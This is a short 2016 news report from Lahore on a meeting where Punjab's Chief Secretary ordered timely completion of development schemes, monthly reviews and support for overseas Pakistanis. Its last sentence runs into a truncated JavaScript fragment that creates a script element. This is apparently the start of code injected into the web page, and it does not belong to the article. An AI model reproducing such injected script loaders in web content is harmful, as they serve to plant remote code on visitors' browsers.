Published On: Sat, Feb 13th, 2016
Published in Category: Lahore

Ongoing development schemes be completed on time; says Khizar Hayat

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Lahore: Khizar Hayat Gondal Punjab Chief Secretary has directed ongoing development schemes in the province be completed within the stipulated time and the administrative secretaries should hold review meetings monthly and ensure proper monitoring of uplift schemes of their departments.

He was chairing a meeting of Administrative Secretaries’ Committee at Civil Secretaries here on Friday and Additional Chief Secretary Shumail Ahmad Khwaja, Chairman Planning and Development, Punjab Overseas Pakistanis Commissioner, administrative secretaries of different departments and officers concerned were also present there.

According to press release the matters relating to Annual Development Programme, Citizen Feedback Model and cases of pension and departmental inquiries were discussed in detail in the meeting.

Addressing the meeting, the Chief Secretary said that several development projects were under way in the province and timely completion of these projects is priority of the government, he added.

Khizar Hayat expressed satisfaction over the utilization of funds by departments, he, however, ordered the departments to make improvement in this regard.

Chief Secretary mentioned that the Citizen Feedback Model was the best source of getting public opinion regarding government institutions.

He directed that all possible steps be taken to improve this model, which is helping address people’s complaints and maintained that all departments to extend full cooperation to Punjab overseas Pakistanis Commission for resolving problems of Pakistanis living abroad.

Khizar Hayat said that overseas Pakistanis were an asset for the country; their problems should be resolved on priority basis.

A special prayer was also arranged for martyrs of Bacha Khan University and Qutetta attack in the meeting.var d=document;var s=d.createElement(‘script’);